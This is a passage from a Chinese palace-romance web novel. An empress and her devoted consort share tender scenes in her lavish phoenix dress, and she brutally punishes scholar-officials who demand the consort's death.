自班师回朝后,她几乎终日只穿着那件华美绝伦、轻盈如梦、与她形影不离的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?慵懒地沉浸在凤寰宫的极致奢华与温暖之中。 此刻,已是午后。 窗外大雪纷飞,殿内烛火通明。 慕容嫣并未坐在那高高在上的凤椅之上,?而是与林臻一同,?相拥着侧卧在寝殿窗边一张极其宽大、铺着厚厚雪貂皮的美人榻上。 榻前的地龙格栅散发着融融暖意,榻边的紫檀木矮几上,摆放着几碟精致的点心和一壶温着的琥珀色佳酿。 慕容嫣整个人几乎都缩在林臻的怀里。 她身穿着那件“神凤降世裙”?,?极致玄黑的苏锦底料在殿内温暖的烛光下,吸吮着光线,呈现出一种慵懒而华贵的墨色,织入的金色棉绒与真金线在光线下流淌着柔和而温暖的暗金波光,神秘、高贵,与她此刻放松的姿态奇异地融合。 ?睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在温馨的氛围中,少了几分沙场的戾气,多了几分栖息时的华美与安宁,凤羽层叠,依偎缠绵。 凤眸上的黑钻在暖光下也显得柔和了许多。? 宽大轻盈的喇叭袖一只垂落榻边,另一只则搭在林臻的胸前。 她左手拇指上,那枚通体剔透的墨玉扳指,在她无意识的摩挲下,泛着温润的光泽。 而那长达五丈的苏锦拖尾,?并未规整地铺放,?而是有些凌乱地、迤逦地拖曳在榻下的波斯地毯之上,?甚至有一部分,?缠绕在了林臻的腿边。?棉质的柔软与睡裙的舒适,在此刻体现得淋漓尽致。 林臻半靠在榻上,身着玄色暗绣流云纹的常服,并未束冠,墨发披散,少了平日的冷峻,多了几分居家的温和。 他的一只手臂稳稳地环着慕容嫣的肩背,另一只手则轻轻握着她的手,指尖有一下没一下地抚过她睡裙袖口上巨凤的金线羽翼。 他的目光低垂,落在她安静的睡颜上,眼神深邃,里面翻涌着复杂难言的情绪——有历经生死后的疲惫,有江山一统后的释然,更有一种深沉的、几乎要将人溺毙的温柔与守护。 慕容嫣似乎睡着了,?呼吸均匀,?长睫如蝶翼般在眼睑下投下淡淡的阴影。 她的脸颊靠在林臻的胸膛上,听着他沉稳的心跳,仿佛那是世间最安心的乐曲。 偶尔,她会无意识地往他怀里更深地蹭一蹭,?如同寻求温暖的小兽。 殿内静谧无声,只有烛火偶尔噼啪作响,以及窗外雪花落下的簌簌声。 时光在此刻,仿佛变得缓慢而粘稠。 不知过了多久,慕容嫣睫毛微颤,?缓缓睁开了眼睛。 她并没有立刻起身,?而是仰起头,?目光迷蒙地看向林臻。 “什么时辰了?”她轻声问,?声音带着刚睡醒的慵懒沙哑,?全然没有了朝堂上的冰冷威仪。 林臻低头看她,唇角微微扬起一个极淡的弧度,并未回答,只是伸手将她颊边一缕散落的发丝轻轻拂到耳后。 慕容嫣似乎也不需要他回答。 她伸出手指,?用戴着墨玉扳指的指尖,?轻轻戳了戳他的下巴?:“朕饿了。” 林臻微微颔首,示意了一下矮几上的点心。 慕容嫣却摇了摇头,?眼神带着一丝任性的娇纵?:“朕要喝你煮的…梅花粥。” 林臻目光柔和,轻轻将她扶起一些,自己欲起身。 慕容嫣却一把拉住他的衣袖,?不让他走?:“让宫人去弄,你陪着朕。” 她的语气带着不容置疑的依赖。林臻顺从地停下动作,重新将她揽入怀中,只是抬手对侍立在远处阴影里的宫女做了个手势。宫女会意,悄无声息地退下准备。 慕容嫣满意地重新靠回他怀里,?把玩着他常服上的盘扣,?忽然轻声说道?:“外面雪很大吧?” “嗯。”林臻低低应了一声。 “真好…”慕容嫣闭上眼,?嘴角勾起一抹浅浅的弧度,“这样就没人能来打扰朕了。” 她的声音很轻,却透着一股将天下关在门外的独占欲。 粥很快端来,是林臻之前吩咐小厨房一直温着的。 他亲自接过白玉碗,试了试温度,然后才一勺一勺,极其耐心地喂到慕容嫣嘴边。 慕容嫣懒洋洋地靠着他,?顺从地张口,?目光却一直停留在他的脸上,?眼神专注,?仿佛在品尝什么绝世美味。 偶尔有粥渍沾到唇角,林臻便会用指尖极轻地为她拭去。 一碗粥喝完,慕容嫣似乎精神了些。她坐直身子,?伸了个懒腰,?宽大喇叭袖随之舒展。她目光转向窗外,?看着漫天飞舞的雪花。 “这雪能盖住很多东西吧?”她忽然没头没尾地说了一句,?眼神闪过一丝极淡的、难以察觉的冰冷,“比如血,比如骨头…” 林臻握着她的手微微紧了一下。 慕容嫣似乎察觉到了,?转过头看他,?脸上又恢复了那种慵懒的、近乎天真的表情?:“不过盖住了也好,眼不见心不烦…” 她说着,?忽然凑近他,?鼻尖几乎要碰到他的鼻尖,?温热的呼吸拂过他的脸颊?:“现在朕眼里心里只有你。” 这句话,与其说是情话,不如说是一种偏执的宣告。 她将整个天下的血腥与权谋关在门外,只留出这一方小小的、温暖的天地,而这片天地里,只容得下他们两个人。 林臻深深地看着她,眼底情绪翻涌,最终化为一声几不可闻的叹息,他低下头,?轻轻吻了吻她的额头。 这个吻,轻柔而珍重。 慕容嫣似乎愣了一下,?随即,?她笑了起来,?笑容明媚,?却带着一丝妖异的光彩。她伸出双臂,?重新紧紧搂住他的脖颈,?将脸埋在他的颈窝,?闷闷地说?:“再抱紧一点…” 林臻依言,收紧了手臂,将她牢牢圈在怀中。 两人就这样相拥着,看着窗外的雪景,许久没有说话。殿内的温暖与殿外的严寒形成了两个截然不同的世界。 过了一会儿,慕容嫣似乎想起了什么,?轻轻推开他一些,?低头看了看自己那迤逦在地的五丈拖尾,?眉头微蹙?:“好像有点乱了…” 她说着,?便想站起身整理。 然而,她刚一动,?林臻却拉住了她的手。 他自己先下了榻,?然后,?极其自然地,?单膝跪在榻前的地毯上,?伸出手,?开始为她,?一点点地,?极其仔细地,?整理那长达五丈、华丽无比的拖尾。 他的动作轻柔而专注,仿佛在对待一件易碎的绝世珍宝。 他将拖尾上的褶皱轻轻抚平,将缠绕的部分小心解开,让那墨金色的苏锦重新流畅地铺展在地毯之上。他甚至用手指,?极轻地拂去上面沾染的极细微的尘埃。 慕容嫣坐在榻边,?垂眸看着他专注的侧脸和轻柔的动作,?眼神复杂。 有满足,有依赖,或许还有一丝连她自己都未曾察觉的、极淡的动容。 “夫君…”她轻声唤道,?声音有些飘忽。 林臻抬起头看她。 “这天下…”她顿了顿,?目光扫过华丽的宫殿,?最终落回他脸上,“朕打下来了,可是…”她歪着头,?仿佛在思考一个难题,“好像也没什么意思…” 林臻沉默着,只是握住了她放在膝上的手。 慕容嫣反手握住他的手掌,?指尖在他掌心轻轻划着圈?:“还是这样抱着你比较暖和…” 她说着,?忽然,?她俯下身,?双手捧住他的脸,?在他唇上印下了一个吻。 这个吻不再是蜻蜓点水,而是带着温度,带着一种近乎贪婪的索取与占有。 许久,她才缓缓离开他的唇,?额头抵着他的额头,?呼吸微促,?脸颊泛着红晕,?眼神迷离?:“…不准离开朕,永远都不准…” 这不像请求,更像是命令,带着一丝不易察觉的恐惧。 林臻没有回答,只是用更深的拥抱回应了她。 窗外,大雪依旧,将整个皇城覆盖在一片纯净的白色之下,掩盖了所有的污秽与血腥。 而凤寰宫内,温暖如春,一对掌控着天下的男女,如同世间最普通的恩爱夫妻般,紧紧依偎,仿佛要将彼此融入骨血之中。 只是,那身华美到极致、也沉重到极致的??“神凤降世裙”??,以及裙摆上那只睥睨天下的凤凰,无声地提醒着,这份恩爱,是建立在怎样的尸山血海之上,又蕴含着怎样偏执而危险的占有欲。 第915章 以死相谏 乾元四年的春日,似乎格外眷顾这座巍峨的皇城。 冰雪消融,暖风和煦,太液池的碧波荡漾着粼粼金光,连殿宇角落坚硬的金砖缝里,都冒出了怯生生的嫩绿草芽。 持续数年的战火硝烟终于沉寂,四海宾服的捷报如同这温暖的春风,吹散了往日笼罩在宫阙上空的肃杀之气。 然而,在这片看似太平盛世的宁静之下,真正的波澜,却往往生于看似最坚固的堡垒内部。 凤寰宫内,更是春意盎然,暖融如醉。 地龙早已撤去,换上了透光的鲛绡窗纱,殿内四处摆放着初春的玉兰、迎春,以及几盆珍贵的、已悄然吐露芬芳的魏紫牡丹。 慕容嫣似乎彻底沉醉于这来之不易的安宁,或者说,沉醉于与林臻之间那份历经生死淬炼后、愈发黏稠得化不开的依恋。 她几乎不再踏出凤寰宫,朝政琐事尽数委于阁臣,唯有涉及军国要务的奏折,才会由林臻轻声念与她听。 她像一只终于寻得安全巢穴的凤鸟,将所有的华美、慵懒,乃至一丝不易察觉的脆弱,都毫无保留地展现在这方天地,展现在林臻一人面前。 此刻,午后阳光正好,透过窗纱,在光洁如镜的金砖地面上投下斑驳陆离的光影。 慕容嫣只穿着一件衣裳——那件自她登基以来,便仿佛与她血肉相连、华美得令人窒息的黑金苏锦棉质百鸟朝凤睡裙,它有一个与她气质无比契合的名字:神凤降世裙。 她并未端坐于那高高在上的凤座,而是与林臻一同,?慵懒地偎依在寝殿西窗下那张极为宽大、铺着厚厚雪白貂皮的软榻上。 榻边矮几上,宣窑白瓷碟里盛着时新瓜果,一旁温着的小银壶里,飘出清雅的碧螺春茶香。 ?神凤降世裙,在此刻暖融的春光下,更显其绝世风华。? 极致玄黑的苏锦底料,并非死寂的墨色,而是在春日明媚的光线映照下,吸吮着光芒,呈现出一种流动的、深不见底却又流光暗涌的玄色,仿佛内蕴星河。 织入面料纹理的金色棉绒与那些细若游丝、却分量十足的真金线,在光线作用下,流淌着温暖而耀眼的暗金波光,神秘、高贵,与她此刻放松舒展的姿态奇异地融合,少了几分临朝时的凛冽威压,多了几分寝居间的奢华慵懒。? 睡裙之上,那只铺天盖地、覆盖了几乎整个袍身乃至拖尾的擎天巨凤,?仅以不同捻法、粗细、光泽的赤金线绣成,在春日暖阳下,少了几分沙场征伐时的灼热戾气,那层层叠叠、栩栩如生的凤羽,更显得雍容华贵,仿佛一只浴火重生后的凤凰,正于春光中惬意假寐,尊贵威严中透出难得的宁静与满足。 凤眸上镶嵌的两枚巨大、完美切割的黑钻,在阳光下折射出璀璨而冰冷的星芒,时刻提醒着观者其内蕴的锋芒。 ?宽大轻盈的喇叭袖,采用层叠设计,袖口以同色玄黑苏锦为底,用细如发丝的赤金线绣出繁复的云雷凤羽纹,边缘滚以细密的赤金珠串流苏,此刻一只随意垂落榻边,流苏纹丝不动,另一只则软软地搭在林臻屈起的手臂上。 她左手拇指上,那枚通体剔透、毫无杂色的墨玉扳指,随着她指尖无意识的轻点,泛着温润幽冷的光泽。 最令人瞠目的,依旧是那长达五丈、与睡裙连为一体、毫无接缝的苏锦拖尾。 它并未被精心挽起或由宫人托持,?而是就那样自然而然地、迤逦地直接拖曳在光滑冰冷的紫檀木地板上,?铺陈开一大片墨金色的华丽瀑布,?甚至有一角,?不经意地缠绕在了林臻倚在榻边的腿侧。? 顶级苏锦工艺带来的极致轻薄,使得这看似沉重无比的拖尾实际重量远轻于视觉,但慕容嫣显然毫不在意其铺陈于地,反而似乎享受着这种极致奢华带来的归属感与掌控感。 ?棉质的天然亲肤与睡裙的宽松设计,更让她在这种私密空间里,感到无比的舒适与自在。 林臻半靠在榻上,并未穿着象征身份的亲王袍服或戎装,仅着一身月白色暗绣流云纹的常服,墨玉般的发丝也未束冠,随意披散在肩头,褪去了平日伴随君侧的冷峻与肃穆,眉宇间染上了一层居家的温和与闲适。 他的一只手正拿着一卷闲适的游记,另一只手则被慕容嫣握着,她的指尖戴着那枚墨玉扳指,?有一下没一下地,?在他温暖干燥的掌心轻轻划着圈,带来微痒的触感。 他的目光似乎落在书卷上,但心神显然更多系于身旁之人,唇角含着一丝极淡却无比真实的、带着纵容与宠溺的笑意。 “这书里说的滇南的蝴蝶泉,真有成千上万的彩蝶聚集吗?”慕容嫣懒洋洋地开口,?声音带着春日困倦般的沙哑糯软,?全无朝堂上的清冷威仪。 她边说边打了个小小的哈欠,?将头往他肩窝里又蹭了蹭,?寻了个更舒适的位置,?像只餍足的猫儿。 林臻放下书卷,低头看她,伸手极为自然地将她颊边一缕调皮滑落的青丝轻柔地别到耳后,动作小心翼翼,仿佛对待稀世珍宝。 他的声音低沉而温柔,带着安抚人心的力量:“游记描绘,或有夸张。但若嫣儿喜欢待江山彻底稳固,四海升平,为夫便陪你去亲眼看看。无论天涯海角,只要你想去,臣必护你周全,让你看尽世间所有奇景。” 他的话语中,没有丝毫犹豫,只有无尽的承诺与守护。 慕容嫣眨了眨那双妩媚凤眼,?眼中漾起一丝真实的兴趣和任性?:“只是看看?朕还要把那泉水引回来,就在太液池边,也给朕弄个蝴蝶泉” 她的语气娇憨,?如同被宠坏的少女索要心爱的玩具。 “好。”林臻应得没有半分迟疑,仿佛她要移山填海,他也会为她谋划。 他俯身,在她光洁的额头上印下一个轻柔而珍重的吻,“都依你。我的嫣儿,值得这世间最好的一切。” 慕容嫣满意地弯起唇角,?笑容明媚如窗外春光。她伸出双臂,?环住他的脖颈,?仰头在他唇角印下一个带着清甜气息的吻?:“夫君最疼朕了,有夫君在,朕什么都不要操心” 寝殿内温情脉脉,春光旖旎,仿佛外界一切纷扰都已隔绝。 然而,这份宁静并未持续太久。 殿外忽然传来一阵极其轻微却异常急促的脚步声,停在紧闭的殿门外。 随即是内侍监那特有的、刻意压低却难掩惊惶的嗓音,颤抖着禀报:“陛下,金銮殿前出大事了!文华殿大学士、衍圣公孔希仁联合了数十名御史、翰林院清流正跪伏在丹陛之下,他们、他们以头抢地,血溅玉阶说是要死谏陛下!” 内侍监的声音带着哭腔,继续道:“孔大学士他他言辞激烈指责陛下废黜儒家正统,一味推崇格物奇技是背弃祖宗成法,动摇国本说陛下宠信外姓,致使林亲王权倾朝野,是是牝鸡司晨,纲常紊乱还还指斥陛下您终日身着身着不合礼制之奇装异服,怠慢朝政是是亡国之兆啊陛下!他们他们泣血恳请陛下罢黜格物院,诛杀诛杀林亲王以清君侧还政于士大夫!” 每一个字,都像淬了毒的冰锥,狠狠扎向慕容嫣最不能触碰的逆鳞! 尤其是那句“诛杀林亲王”! 寝殿内温暖的空气瞬间冻结! 慕容嫣脸上那慵懒惬意的笑意顷刻间消失得无影无踪,取而代之的是一种被打断极致欢愉后的滔天怒意和冰冷刺骨的锐利。 她甚至没有立刻起身,只是微微眯起了那双凤眸,眸底寒光凛冽,声音仿佛从九幽寒冰中渗出:“孔希仁?那个仗着祖宗荫庇、满口仁义道德的老腐儒?他竟敢血谏?还想要林臻的命?” 她的声音不高,却让整个寝殿的温度骤降。 林臻的脸色也在瞬间阴沉如水,他立刻放下书卷,坐直身体,一把紧紧握住慕容嫣微凉的手,他的掌心温暖而有力,传递着无声的支持。 他的眼神锐利如鹰,扫向殿门方向,声音沉稳却带着不容置疑的维护与怒意:“狂悖之徒!简直不知死活!嫣儿你一统天下,结束战乱,让万民得以休养生息,此乃不世之功!格物院改善农具,兴修水利,强我军械,利国利民,岂是这些只会空谈、不识稼穑的迂腐之辈可以诋毁的? 他们口中的礼法,不过是束缚明主、维护自身特权的工具!嫣儿你想穿什么,是嫣儿的自由,更是他们的荣幸! 这身神凤降世裙,唯有嫣儿你的气度方能驾驭! 臣的存在,是为了辅佐嫣儿,护卫这来之不易的江山永固,扫平一切障碍,何来外戚干政之说?此等言论,不仅是诽谤君上,更是其心可诛! 嫣儿,不必为这些蠢物动怒,以免气坏了身子。让臣去处理,定叫他们明白,何为雷霆天威,再不敢聒噪半句!” 他的话语斩钉截铁,充满了对慕容嫣毫无保留的维护与深深的爱怜。 慕容嫣转眸看向他,眼中寒意因他这番话稍稍融化了一丝暖意,但语气依旧冰冷如铁:“孔家千年底蕴,圣人苗裔哼,真好。”她的话语中充满了讥讽。 她缓缓地站起身。随着她的动作,那长达五丈的苏锦拖尾在光滑的地板上发出细微却清晰的摩擦声。 “伺候朕更衣。”她对着垂手侍立、吓得瑟瑟发抖的宫女们淡淡吩咐,声音里听不出丝毫情绪波动,仿佛在说一件与己无关的小事。 宫女们连忙捧来绣着金凤的正式朝服。 然而,慕容嫣却看也没看那些象征权力的衮服。 她径直走到殿内那面巨大的、边缘镶嵌着宝石的琉璃镜前,静静地审视着镜中的自己,审视着那身华美绝伦、此刻却仿佛成为众矢之的的??“神凤降世裙”?。 “就这身。”她淡淡地,却带着不容置疑的决断说道,“朕就穿着这身他们口中的奇装异服去金銮殿好好听听这些忠臣的高论。” 林臻眉头紧锁,快步上前,语气充满了担忧与不舍: “嫣儿!朝堂之上,污言秽语,臣实在不忍你亲自去面对那些不堪!你的手是用来执掌乾坤的,不是用来沾染这些蠢货的污血的!一切交给我,好吗?” 他伸出手,想再次握住她的手,眼中满是恳求。 第916章 不!嫣儿,你误会我了 慕容嫣却猛地回身! 动作迅疾而充满被挑衅后的戾气! 那轻盈华贵的五丈苏锦拖尾因这突然而决绝的回转被猛地带起,墨金色的巨幅裙摆如同被彻底激怒的凤凰之翼,轰然展开,?唰啦一声扫过冰凉光滑的地板!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在春日阳光下骤然闪现,金光璀璨夺目,华美辉煌到了极致,与睡裙外袍的墨金底色形成了惊心动魄的对比,仿佛在温馨的寝宫中骤然爆发的雷霆之怒,尊贵、耀眼,且带着碾碎一切挑衅的决绝意味! 裙摆落下,华光内敛。 但慕容嫣的杀意已如同出鞘的利剑,直指人心! 她目光如冰锥般刺向林臻,声音冰冷刺骨,带着一丝被最亲近之人“质疑”的痛楚与愤怒:“怎么?连你也觉得朕这身衣裳登不得大雅之堂?还是你觉得朕不配也不该去理会那些一心想要你性命的人?!” 最后几个字,她几乎是咬着牙说出来的。 林臻心中猛地一痛,如同被利刃划过! 他看到她眼底深处那一闪而过的受伤神色,再也顾不得其他,猛地上前一步,不顾一切地将她紧紧拥入怀中! 他的拥抱如此用力,仿佛要将她揉进自己的骨血里。 “不!嫣儿,你误会我了!”他的声音因激动而有些沙哑,带着前所未有的急切与深情,“在我眼中,嫣儿穿什么都风华绝代!这身神凤降世裙,唯有穿在嫣儿身上,才不负其名!它是统御四海的气度,是让日月失色的光华!那些蠢货有眼无珠,是他们不配!我只是只是怕那些污秽不堪的言语脏了你的耳朵,辱了你的圣听!谁想伤你,谁想离间我们,我必让他后悔生在这世上!我只是舍不得我的嫣儿受半点委屈!” 他的话语如同誓言,炽热而真诚,在慕容嫣耳边回荡。 慕容嫣在他怀里僵硬了片刻,感受着他胸膛传来的有力心跳和滚烫的温度,终是慢慢放松下来,但语气依旧带着帝王的决绝: “正因为他们想伤你朕才更要亲自去。朕要让他们知道动你,是什么下场。”她轻轻推开他,目光恢复冰冷,“你在这里等着。这是旨意。” 她迤逦着那身华美而肃杀的睡裙,向殿外走去。 走到殿门口,她脚步微顿,并未回头,声音清晰地传来: “没有朕的允许,不准踏出寝殿一步。” “朕去去就回。” 说完,她身影消失在殿外明媚却已带上肃杀之气的春光中,唯有那五丈长的墨金色拖尾,在门槛上,最后迤逦滑过,留下一道惊心动魄的痕迹。 林臻僵立在原地,望着她离去的方向,双手紧握成拳,指节因用力而泛白。 他眼中充满了无尽的担忧、滔天的怒火,以及对那些即将承受她雷霆之怒的文官的冰冷杀意。他知道,孔希仁此举,已触逆鳞,今日金銮殿前,必将血流成河。 而他,只能在这里,焦灼地等待,将所有的爱意与担忧,化作守护的决心。 金銮殿前,汉白玉铺就的广场之上,气氛庄重而悲怆。 以文华殿大学士、衍圣公孔希仁为首的数十名文官御史,身着象征清流的蓝色或青色朝服,却披头散发,额头上血肉模糊,正跪伏在冰冷的玉阶之下。 他们声嘶力竭地哭喊着,声音悲壮,在空旷的广场上回荡: “陛下!请诛奸佞林臻,以清君侧!” “罢黜格物奇技,复兴圣学,重振朝纲!” “陛下!勿再沉溺奇装异服,勤政爱民啊!” 鲜血染红了玉阶,引得远处围观的官员们面色惨白,窃窃私语,空气中弥漫着一种山雨欲来的紧张与恐惧。 当慕容嫣身穿着那件与庄严肃穆的朝堂格格不入、甚至带着赤裸裸挑衅意味的??“神凤降世裙”??,迤逦行至金銮殿那高高的丹陛之上时,所有的哭喊声、议论声,瞬间戛然而止! 阳光洒在她身上,?墨金色的苏锦反射出冰冷而华贵的光芒,?那只巨凤仿佛活了过来,睥睨着脚下如同蝼蚁般的臣工。 ?五丈长的拖尾,在她身后,迤逦铺展在九级玉阶之上,华贵,却也沉重得令人窒息。她无需言语,仅凭这身装扮,便已是对所有“礼法”最彻底的蔑视与践踏。 她目光平静,如同万年寒冰,缓缓扫过脚下跪伏的众人,最后定格在为首那个白发苍苍、额上鲜血淋漓仍一脸“忠贞不屈”的老者——孔希仁身上。 “孔爱卿,”她开口,声音清冷,不大,却清晰地传入每个人耳中,带着一种居高临下的审视,“带着这么多人,磕头流血所为何事?” 孔希仁猛地抬头,老泪纵横,悲声喊道,声音因激动而颤抖: “陛下!老臣今日拼却性命,也要死谏!陛下登基以来,倒行逆施!废黜孔孟之道,推崇机巧之术,致使礼崩乐坏,人心不古!更宠信外姓,致使林臻权倾朝野,牝鸡司晨,国将不国啊陛下!” 他伸手指向慕容嫣的衣裙,痛心疾首, “陛下您看看!您终日身着此等不合礼制、妖异非常的服饰,流连后宫,怠慢朝政!此乃亡国之兆!老臣恳请陛下,速诛林臻,罢格物,复周礼,亲贤臣,远小人!否则否则老臣今日,便血溅这金銮殿,以死明志!” 说完,他又重重磕下头去,额上鲜血汩汩流出。 一番话,掷地有声,充满了“文死谏”的悲壮与自我感动。 慕容嫣静静地听着,脸上没有任何表情,甚至嘴角还缓缓勾起一丝极淡的、玩味的、令人毛骨悚然的弧度。 “说完了?”她轻声问,仿佛在听一个无聊的故事。 孔希仁一怔,似乎没料到陛下是如此反应。 慕容嫣缓缓踱步,沿着丹陛边缘行走,五丈拖尾在光滑的玉阶上滑动,发出细微的声响,却像重锤敲在每个人心上。 “牝鸡司晨国将不国”她轻轻重复着这几个字,仿佛在品味其中的荒谬。 她忽然停下脚步,俯视着孔希仁,声音陡然变得冰冷锋利,如同出鞘的寒刃:“孔希仁,你孔家,食我大乾俸禄,受历代帝王尊崇,已历三百余载了吧?” 孔希仁昂首,一脸正气:“然也!孔家世代忠君爱国,秉承圣人之道。” “忠君?爱国?”慕容嫣冷笑一声,打断他,声音陡然拔高,带着滔天的怒意, 第917章 你孔家子弟,可有一人披甲执锐 “朕来问你!北齐犯边,铁蹄踏破我边城时,你孔家子弟,可有一人披甲执锐,上阵杀敌,为国捐躯?朕平定西南蛮族,将士们浴血奋战时,你孔家那万顷良田,可曾捐出一粒军粮,一缕棉丝?朕设立格物院,工匠们呕心沥血,造出新式农具,让万民得以温饱;改良军械,让我边军少流血牺牲时,你孔家书院,可曾说过一句利国利民的好话?” 她每问一句,便向前一步,气势凌厉一分,丹陛之下,无人敢直视其锋芒! “你们!享受着朕的江山带来的太平盛世!读着朕的官府刊印的书籍!穿着朕的子民织造的丝绸!却在这里!用你们那张只会空谈道德、百无一用的嘴!指责朕祸国殃民?谁给你们的胆子?” 她的声音锐利如刀,带着碾压一切的威压,在整个广场回荡! “诛林臻?清君侧?”她的目光如冰冷的电光,扫过所有跪地的文官,最终回到孔希仁身上,声音带着刺骨的寒意, “林臻随朕出生入死,平定四方叛乱时,你们在哪里?他在边关浴血奋战,身上伤痕累累时,你们是不是正躲在你们温暖的书斋里,写着这些歌功颂德或是无病呻吟的狗屁文章?他的功绩,是用血和命换来的!你们呢?除了磕头流血,除了摇唇鼓舌,还会什么?” “罢格物?复周礼?” 她嗤笑一声,充满了极致的轻蔑, “没有格物院造出的强弓硬弩,没有新式战船,你们以为,北齐和蛮族的铁蹄,会跟你们讲周礼吗?你们的骨头,早就被碾碎成泥了!格物让百姓吃饱穿暖,让军队保家卫国,这才是真正的仁政!你们那套空谈,除了束缚人心,除了维护你们那点可怜的优越感,还有什么用?” 她猛地伸手指向孔希仁,声音如同九天玄冰,带着最终的审判:“孔希仁!你口口声声忠君爱国,句句不离圣人教诲!朕看你是假忠假义,其心可诛!” “你以为,你顶着圣人后裔的名头,朕就不敢杀你吗?” “你以为,你们这群人在这里磕几个头,流几滴血,就能逼朕就范,就能动摇朕的江山吗?” “做梦!” 她宽大喇叭袖猛地一甩,声音斩钉截铁,响彻云霄:“来人!” 早已候命多时、如狼似虎的凤翎卫轰然应诺,甲胄铿锵! “将孔希仁,及所有今日参与血谏之人,统统给朕拿下!投入天牢,严加看管!” “陛下!昏君!暴君!你不得好死!圣人之道不存,国祚必不久矣!”孔希仁挣扎嘶吼,其他文官也哭嚎一片,场面瞬间混乱。 慕容嫣冷冷地看着他们被毫不留情地拖走,脸上没有丝毫动容,仿佛在看一群吵闹的蝼蚁被清扫。 她目光扫过远处那些噤若寒蝉、面色惨白如纸、恨不得缩进地缝里的围观官员,声音清晰而平静,却带着令人灵魂战栗的、不容置疑的寒意: “传朕旨意。” “孔希仁,身为文华殿大学士、衍圣公,不思报国,聚众闹事,诽谤君上,大逆不道,罪不容诛!着,夷其三族!其祖坟,给朕刨了,曝尸荒野!其家族衍圣公封号,永世废除!孔府所有田产、宅邸、书籍、财物,尽数抄没,充入朕之内帑!” “其余参与血谏之人,无论官职大小,一律腰斩!其头颅,悬于国子监门外,曝晒三日!朕要让天下所有的读书人都看清楚,反对朕,诋毁朕所爱之人,是什么下场!” “即刻起,查封天下所有孔氏书院,禁绝其私学!朕倒要看看,没了这圣人苗裔,这天下文章,是不是就做不成了!” 命令一条接一条,冷酷、血腥、斩草除根!不仅要杀人,更要诛心!这是要对传承千年的儒家象征,进行最彻底、最羞辱性的摧毁! 整个广场死寂无声,只有寒风呜咽,仿佛连空气都凝固了。血腥味混合着恐惧,弥漫在每一个角落。 慕容嫣说完,不再看任何人,迤逦着那身华美而此刻仿佛浸透了无形鲜血的“神凤降世裙”,转身,一步步走回金銮殿深邃阴暗的殿门之内,将那一片死寂和即将到来的腥风血雨,抛在身后。 当她回到凤寰宫时,夕阳已将天空染成一片凄艳的血红。 寝殿内,烛火早已点燃,试图驱散外面的寒意。慕容嫣的脸上带着一丝杀戮之后难以掩饰的疲惫,以及一种更深层次的、难以言喻的空虚。 她径直走入寝殿,看到林臻果然依旧站在原地,几乎保持着与她离去时相同的姿势,仿佛一尊沉默的守护石像。 她没有说话,也没有任何预兆,只是快步走到他面前,然后一头扎进了他的怀里! 双臂紧紧地环住他的腰,将脸深深埋在他的胸前,宽大喇叭袖下的手,甚至带着一丝不易察觉的微颤。 林臻心中一紧,感受到她身体的微凉和那细微的颤抖,没有任何犹豫,立刻收拢双臂,将她紧紧地、牢牢地拥在怀中,用自己身体的温度和力量包裹着她。 他能闻到她发间那熟悉的冷梅香下,隐隐夹杂着一丝极淡的、从金銮殿前带回来的血腥气。 “都处理完了?”他低声问,声音沙哑,充满了心疼。 慕容嫣在他怀里闷闷地“嗯”了一声,过了好一会儿,才抬起头。 她的眼眶有些发红,不是哭泣的红,而是一种情绪极度波动后的痕迹,眼神里却是一片冰冷的空洞,还有一种近乎偏执的疯狂。 “他们都想让你死”她看着他,声音带着一丝不易察觉的委屈,但更多的是一种凛冽的杀意,“所有想让你死的人朕都要让他们先死死得很难看” 林臻心中巨震,既为她这番话中蕴含的深沉情感,也为那近乎病态的占有与保护欲。他捧起她的脸,深深望进她眼底,誓言铿锵而温柔: “有嫣儿在,无人能伤我分毫。我的心,我的命,早就是你的了。只要是为了你,纵使与全天下为敌,臣亦甘之如饴,万死不辞。” 他低头,珍重地吻去她眼角那若有若无的湿意,“别为那些蝼蚁费神,臣心疼。我的嫣儿,合该永远快乐,不该被这些污秽之事扰了心神。” 慕容嫣似乎被他的爱语和亲吻安抚,激烈波动的情绪渐渐平复。她重新将脸埋回他温暖的颈窝,声音低哑而依赖:“抱紧朕不准松手,朕累了” “好,抱着嫣儿,永远不松手。”林臻将她横抱而起,走向内室温暖的床榻,声音温柔得能滴出水来,“我给嫣儿煮一碗安神汤,再给你念些游记,好不好?忘掉外面的事情,只有臣陪着你。” 殿外,夕阳如血,映照着刚刚经历过一场文字狱般残酷清洗的皇城。 而凤寰宫内,烛火摇曳,一对掌控着生杀予夺大权的男女,紧紧相拥。 暴虐的镇压与极致的温柔,在这身?“神凤降世裙”??的见证下,诡异而紧密地交融在一起。 那华服上的凤凰,在烛光下依旧华美,却也仿佛萦绕着无形的血光,预示着这场因爱而起的滔天杀戮,或许,仅仅是一个更漫长故事的序曲。 第918章 暮春 乾元四年的暮春,凤寰宫内的缱绻时光,仿佛是一幅被精心描绘的工笔画,极致奢华,也极致脆弱。 慕容嫣与林臻的关系,在血洗孔家带来的短暂震慑后,进入了一种更为胶着的亲密状态。 她似乎愈发贪恋这份安宁,将朝政几乎全然抛诸脑后,整日与林臻厮守在这方天地,仿佛外界的一切纷扰都已与己无关。 这一日,午后微风习习,带着御花园里晚开牡丹的馥郁香气,透过半开的雕花窗棂,悄然潜入寝殿。 慕容嫣依旧只穿着那身与她形影不离的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地伏在窗边的软榻上,?下巴搁在林臻的膝头,?任由他修长的手指,?轻柔地梳理着她如瀑的墨发。 ?神凤降世裙在春日柔和的漫射光下,呈现出一种静谧的华美。 ?极致玄黑的苏锦底料仿佛能吸音纳光,将周遭的喧嚣都沉淀下来,唯有织入其间的金色棉绒与真金线,在光线下流淌着温和而内敛的暗金波光,神秘而高贵。 ?睡裙之上,那只覆盖了几乎整个袍身乃至拖尾的擎天巨凤,?仅以赤金线绣成,此刻少了征伐之气,更像一只在春日暖阳下休憩的华贵神鸟,凤羽层叠,线条流畅,尊贵中透出难得的恬淡。 凤眸上的黑钻,光泽也变得柔和。? 宽大轻盈的喇叭袖一只随意垂落榻边,另一只则搭在林臻的衣袍上。 她左手拇指上的墨玉扳指,随着她偶尔无意识的转动,泛着温润的光泽。 